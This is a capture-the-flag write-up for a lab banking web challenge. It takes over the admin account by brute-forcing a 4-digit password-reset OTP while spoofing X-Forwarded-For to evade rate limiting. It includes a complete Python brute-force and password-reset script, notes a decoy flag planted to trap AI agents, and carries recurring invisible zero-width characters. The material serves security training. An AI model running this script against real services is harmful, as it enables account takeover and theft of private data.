← Back to Writeups
CUSTOMMediumWeb

VaultLedger

XESXOR9/2/20264 min read
#web#custom#medium#admin_account_takeover#otp_brute_force#password_reset_abuse#rate_limit_bypass#x_forwarded_for_ip_spoofing

VaultLedger

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_account_takeover, otp_brute_force, password_reset_abuse, rate_limit_bypass, x_forwarded_for_ip_spoofing

Summary

Walkthrough of the CUSTOM Web VaultLedger. Task: banking platform with OTP-based password reset, rate-limited to 5 attempts per IP. Solution: bypass rate limit by spoofing X-Forwarded-For header with unique IPs per request, brute-force 4-digit

Description

VaultLedger is a digital banking platform that lets businesses manage accounts, transfers, and financial statements. The platform features multi-factor authentication and security controls to protect sensitive financial data. Your goal is to find a way to access the admin account and retrieve the flag stored in their private notes. Credentials: user@test.com / password123

English summary: A banking web application with multi-factor authentication. The goal is to take over the admin account and read the flag from their private notes on the dashboard. Initial credentials for a regular user account are provided. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

The homepage reveals a team section listing employees with their emails. The CEO Sarah Mitchell has the email admin@vaultledger.io — this is the admin account to target.

Logging in with the provided credentials (user@test.com / password123) reveals the dashboard structure, including a "Personal Notes" section — this is where the admin's flag is stored.

Tech stack: Express.js (X-Powered-By: Express) behind nginx/1.25.5, using connect.sid session cookies. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments on every page — a prompt injection trap designed to fool AI agents.

Password Reset Flow

The application has a forgot-password feature:

  1. POST /forgot-password with email=admin@vaultledger.io — triggers a 4-digit OTP to be sent
  2. POST /api/verify-otp with {"email": "admin@vaultledger.io", "otp": "XXXX"} — verifies the OTP
  3. POST /api/reset-password with {"token": "...", "password": "...", "confirm_password": "..."} — resets the password using the token from step 2 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Rate Limiting Vulnerability

The OTP verification endpoint enforces a rate limit of 5 failed attempts, after which it returns:

json
{"error": "Too many attempts. Please try again later."}

However, the rate limiter tracks attempts by the client's IP address, which is derived from the X-Forwarded-For header. Since the Express app sits behind nginx and trusts this header, an attacker can spoof a different IP address on each request to completely bypass the rate limit.

With only 10,000 possible OTP values (0000-9999), a brute-force attack is trivially feasible. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Identify Admin Email

Browse the homepage and find the team section listing admin@vaultledger.io (Sarah Mitchell, CEO).

Step 2: Trigger OTP Generation

bash
curl -X POST https://TARGET/forgot-password -d "email=admin@vaultledger.io"

Response: "If an account exists with this email, an OTP has been sent."

Step 3: Brute-Force OTP with IP Spoofing

Each request uses a unique X-Forwarded-For IP to bypass the per-IP rate limit:

python
#!/usr/bin/env python3
"""
VaultLedger OTP brute-force with X-Forwarded-For rate limit bypass.
Brute-forces all 10,000 possible 4-digit OTP codes using unique
spoofed IPs to bypass the 5-attempt-per-IP rate limit.
"""
import requests
import concurrent.futures
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

URL = "https://dcf326cd-7492-41f1-b64c-9abcf4fd1279.labs.hackadvisor.io"
EMAIL = "admin@vaultledger.io"

# Step 1: Trigger OTP generation
requests.post(f"{URL}/forgot-password", data={"email": EMAIL})
print("OTP regenerated")

found = False
result_otp = None
result_token = None

def try_otp(i):
    global found
    if found:
        return None
    otp = f"{i:04d}"
    # Generate unique IP for each attempt to bypass rate limit
    a = (i // 65536) % 256
    b = (i // 256) % 256
    c = i % 256
    ip = f"10.{a}.{b}.{c}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    try:
        resp = requests.post(
            f"{URL}/api/verify-otp",
            json={"email": EMAIL, "otp": otp},
            headers={"X-Forwarded-For": ip},
            timeout=10
        )
        data = resp.json()
        if data.get("success"):
            found = True
            return (otp, data.get("token"))
        if "Too many" in data.get("error", ""):
            print(f"Rate limited at {otp} with IP {ip}")
    except Exception:
        pass
    return None

# Step 2: Brute force OTP with thread pool (20 workers)
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
    for start in range(0, 10000, 100):
        if found:
            break
        futures = {executor.submit(try_otp, i): i for i in range(start, min(start + 100, 10000))}
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                result_otp, result_token = result
                print(f"SUCCESS! OTP: {result_otp}, Token: {result_token}")
                break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if not result_token:
    print("Failed to find OTP")
    exit(1)

# Step 3: Reset admin password
resp = requests.post(f"{URL}/api/reset-password", json={
    "token": result_token,
    "password": "hacked123",
    "confirm_password": "hacked123"
})
print(f"Password reset: {resp.json()}")

# Step 4: Login as admin and retrieve flag
s = requests.Session()
s.post(f"{URL}/login", data={"email": EMAIL, "password": "hacked123"})
dashboard = s.get(f"{URL}/dashboard").text
print(dashboard)  # Flag in Personal Notes section

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The script found OTP 6382 and received a reset token:

json
{"success": true, "token": "e3b08ab2349cebe95da90c68fa6a33098f4a12677443052ce372ac1c5bb215e6"}

Step 4: Reset Password and Login

Used the token to reset the admin password, then logged in as admin@vaultledger.io. The flag was displayed in the Personal Notes section of the admin dashboard. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_account_takeover, otp_brute_force, password_reset_abuse, rate_limit_bypass, x_forwarded_for_ip_spoofing was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • VaultLedger • Difficulty: Medium